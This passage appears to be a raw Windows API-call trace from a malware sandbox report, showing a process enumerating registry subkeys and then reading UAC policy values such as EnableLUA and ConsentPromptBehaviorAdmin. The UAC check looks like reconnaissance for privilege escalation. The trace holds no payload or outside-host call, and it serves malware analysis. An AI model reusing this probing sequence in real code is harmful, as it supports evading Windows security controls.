dwIndex=0x32, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Loki") returned 0x0 [0254.861] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.861] RegEnumKeyW (in: hKey=0x38, dwIndex=0x33, lpName=0xdcb9b8, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0254.861] RegEnumKeyW (in: hKey=0x38, dwIndex=0x34, lpName=0xdcb9b8, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0254.861] RegEnumKeyW (in: hKey=0x38, dwIndex=0x35, lpName=0xdcb9b8, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0254.861] RegEnumKeyW (in: hKey=0x38, dwIndex=0x36, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0254.861] RegEnumKeyW (in: hKey=0x38, dwIndex=0x37, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0254.861] RegEnumKeyW (in: hKey=0x38, dwIndex=0x38, lpName=0xdcb9b8, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0254.862] RegEnumKeyW (in: hKey=0x38, dwIndex=0x39, lpName=0xdcb9b8, cchName=0x104 | out: lpName="MMC") returned 0x0 [0254.862] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3a, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0254.862] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3b, lpName=0xdcb9b8, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0254.862] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3c, lpName=0xdcb9b8, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0254.862] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3d, lpName=0xdcb9b8, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0254.862] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3e, lpName=0xdcb9b8, cchName=0x104 | out: lpName="MSF") returned 0x0 [0254.862] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3f, lpName=0xdcb9b8, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0254.862] RegEnumKeyW (in: hKey=0x38, dwIndex=0x40, lpName=0xdcb9b8, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0254.862] RegEnumKeyW (in: hKey=0x38, dwIndex=0x41, lpName=0xdcb9b8, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0254.862] RegEnumKeyW (in: hKey=0x38, dwIndex=0x42, lpName=0xdcb9b8, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0254.862] RegEnumKeyW (in: hKey=0x38, dwIndex=0x43, lpName=0xdcb9b8, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0254.862] RegEnumKeyW (in: hKey=0x38, dwIndex=0x44, lpName=0xdcb9b8, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0254.862] RegEnumKeyW (in: hKey=0x38, dwIndex=0x45, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0254.862] RegEnumKeyW (in: hKey=0x38, dwIndex=0x46, lpName=0xdcb9b8, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0254.862] RegEnumKeyW (in: hKey=0x38, dwIndex=0x47, lpName=0xdcb9b8, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0254.863] RegEnumKeyW (in: hKey=0x38, dwIndex=0x48, lpName=0xdcb9b8, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0254.863] RegEnumKeyW (in: hKey=0x38, dwIndex=0x49, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Network") returned 0x0 [0254.863] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4a, lpName=0xdcb9b8, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0254.863] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4b, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0254.863] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4c, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0254.863] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4d, lpName=0xdcb9b8, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0254.863] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4e, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Office") returned 0x0 [0254.863] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4f, lpName=0xdcb9b8, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0254.863] RegEnumKeyW (in: hKey=0x38, dwIndex=0x50, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Ole") returned 0x0 [0254.863] RegEnumKeyW (in: hKey=0x38, dwIndex=0x51, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0254.863] RegEnumKeyW (in: hKey=0x38, dwIndex=0x52, lpName=0xdcb9b8, cchName=0x104 | out: lpName="PLA") returned 0x0 [0254.863] RegEnumKeyW (in: hKey=0x38, dwIndex=0x53, lpName=0xdcb9b8, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0254.863] RegEnumKeyW (in: hKey=0x38, dwIndex=0x54, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Print") returned 0x0 [0254.863] RegEnumKeyW (in: hKey=0x38, dwIndex=0x55, lpName=0xdcb9b8, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0254.863] RegEnumKeyW (in: hKey=0x38, dwIndex=0x56, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Ras") returned 0x0 [0254.863] RegEnumKeyW (in: hKey=0x38, dwIndex=0x57, lpName=0xdcb9b8, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0254.863] RegEnumKeyW (in: hKey=0x38, dwIndex=0x58, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0254.864] RegEnumKeyW (in: hKey=0x38, dwIndex=0x59, lpName=0xdcb9b8, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0254.864] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5a, lpName=0xdcb9b8, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0254.864] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5b, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Router") returned 0x0 [0254.864] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5c, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0254.864] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5d, lpName=0xdcb9b8, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0254.864] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5e, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0254.864] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5f, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0254.864] RegEnumKeyW (in: hKey=0x38, dwIndex=0x60, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0254.864] RegEnumKeyW (in: hKey=0x38, dwIndex=0x61, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Shared") returned 0x0 [0254.864] RegEnumKeyW (in: hKey=0x38, dwIndex=0x62, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0254.864] RegEnumKeyW (in: hKey=0x38, dwIndex=0x63, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0254.864] RegEnumKeyW (in: hKey=0x38, dwIndex=0x64, lpName=0xdcb9b8, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0254.864] RegEnumKeyW (in: hKey=0x38, dwIndex=0x65, lpName=0xdcb9b8, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0254.864] RegEnumKeyW (in: hKey=0x38, dwIndex=0x66, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Software") returned 0x0 [0254.864] RegEnumKeyW (in: hKey=0x38, dwIndex=0x67, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Speech") returned 0x0 [0254.864] RegEnumKeyW (in: hKey=0x38, dwIndex=0x68, lpName=0xdcb9b8, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0254.865] RegEnumKeyW (in: hKey=0x38, dwIndex=0x69, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0254.865] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6a, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0254.865] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6b, lpName=0xdcb9b8, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0254.865] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6c, lpName=0xdcb9b8, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0254.865] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6d, lpName=0xdcb9b8, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0254.865] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6e, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0254.865] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6f, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0254.865] RegEnumKeyW (in: hKey=0x38, dwIndex=0x70, lpName=0xdcb9b8, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0254.865] RegEnumKeyW (in: hKey=0x38, dwIndex=0x71, lpName=0xdcb9b8, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0254.865] RegEnumKeyW (in: hKey=0x38, dwIndex=0x72, lpName=0xdcb9b8, cchName=0x104 | out: lpName="TPG") returned 0x0 [0254.865] RegEnumKeyW (in: hKey=0x38, dwIndex=0x73, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0254.865] RegEnumKeyW (in: hKey=0x38, dwIndex=0x74, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0254.865] RegEnumKeyW (in: hKey=0x38, dwIndex=0x75, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0254.865] RegEnumKeyW (in: hKey=0x38, dwIndex=0x76, lpName=0xdcb9b8, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0254.865] RegEnumKeyW (in: hKey=0x38, dwIndex=0x77, lpName=0xdcb9b8, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0254.865] RegEnumKeyW (in: hKey=0x38, dwIndex=0x78, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Updates") returned 0x0 [0254.866] RegEnumKeyW (in: hKey=0x38, dwIndex=0x79, lpName=0xdcb9b8, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0254.866] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7a, lpName=0xdcb9b8, cchName=0x104 | out: lpName="VBA") returned 0x0 [0254.866] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7b, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0254.866] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7c, lpName=0xdcb9b8, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0254.866] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7d, lpName=0xdcb9b8, cchName=0x104 | out: lpName="WAB") returned 0x0 [0254.866] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7e, lpName=0xdcb9b8, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0254.866] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7f, lpName=0xdcb9b8, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0254.866] RegEnumKeyW (in: hKey=0x38, dwIndex=0x80, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Windows") returned 0x0 [0254.866] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0254.866] RegCloseKey (hKey=0x38) returned 0x0 [0254.866] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0xdcb9b8, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0254.866] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0254.866] RegCloseKey (hKey=0xc4) returned 0x0 [0254.866] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0xdcb9b8, cchName=0x104 | out: lpName="App Management") returned 0x0 [0254.866] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0xdcb9b8, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0254.866] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Applets") returned 0x0 [0254.867] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Audio") returned 0x0 [0254.867] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0254.867] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0xdcb9b8, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0254.867] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0xdcb9b8, cchName=0x104 | out: lpName="BITS") returned 0x0 [0254.867] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0254.867] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0254.867] RegEnumKeyW (in: hKey=0x38, dwIndex=0x9, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0254.867] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0xdcb9b8, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0254.867] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0254.867] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0254.867] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0254.867] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0xdcb9b8, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0254.867] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0xdcb9b8, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0254.867] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0xdcb9b8, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0254.867] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0254.867] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Ext") returned 0x0 [0254.868] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0xdcb9b8, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0254.868] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0254.868] RegEnumKeyW (in: hKey=0x38, dwIndex=0x15, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Hints") returned 0x0 [0254.868] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0xdcb9b8, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0254.868] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0xdcb9b8, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0254.868] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0xdcb9b8, cchName=0x104 | out: lpName="IME") returned 0x0 [0254.868] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Installer") returned 0x0 [0254.868] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0254.868] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0xdcb9b8, cchName=0x104 | out: lpName="MCT") returned 0x0 [0254.868] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0254.868] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0xdcb9b8, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0254.868] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0xdcb9b8, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0254.868] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0xdcb9b8, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0254.868] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0xdcb9b8, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0254.868] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0xdcb9b8, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0254.868] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0xdcb9b8, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0254.869] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0254.869] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0254.869] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0xdcb9b8, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0254.869] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0xdcb9b8, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0254.869] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Policies") returned 0x0 [0254.869] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0254.869] RegCloseKey (hKey=0x38) returned 0x0 [0254.869] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0xdcb9b8, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0254.869] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0254.869] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0254.869] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0xdcb9b8, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0254.869] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0xdcb9b8, cchName=0x104 | out: lpName="System") returned 0x0 [0254.869] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0254.869] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcb9b8) returned 1 [0254.869] RegCloseKey (hKey=0xc4) returned 0x0 [0254.869] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcb8e8) returned 1 [0254.870] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.870] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.870] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.870] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.870] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.870] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.870] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.871] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.871] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.871] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.871] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.871] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.871] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.871] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.871] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.871] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.871] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0254.871] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0254.871] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0xdcc4c0, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0xdcc4c0*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0254.871] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc4c0) returned 1 [0254.871] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc628) returned 1 [0254.871] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.871] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x10) returned 0xdcb8e8 [0254.871] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcb900 [0254.871] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc628 [0254.871] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.872] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcb910 [0254.872] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc4c0 [0254.872] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.872] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcb920 [0254.872] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc5e0 [0254.872] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.872] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcb9b8 [0254.872] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc598 [0254.872] RegEnumValueA (in: 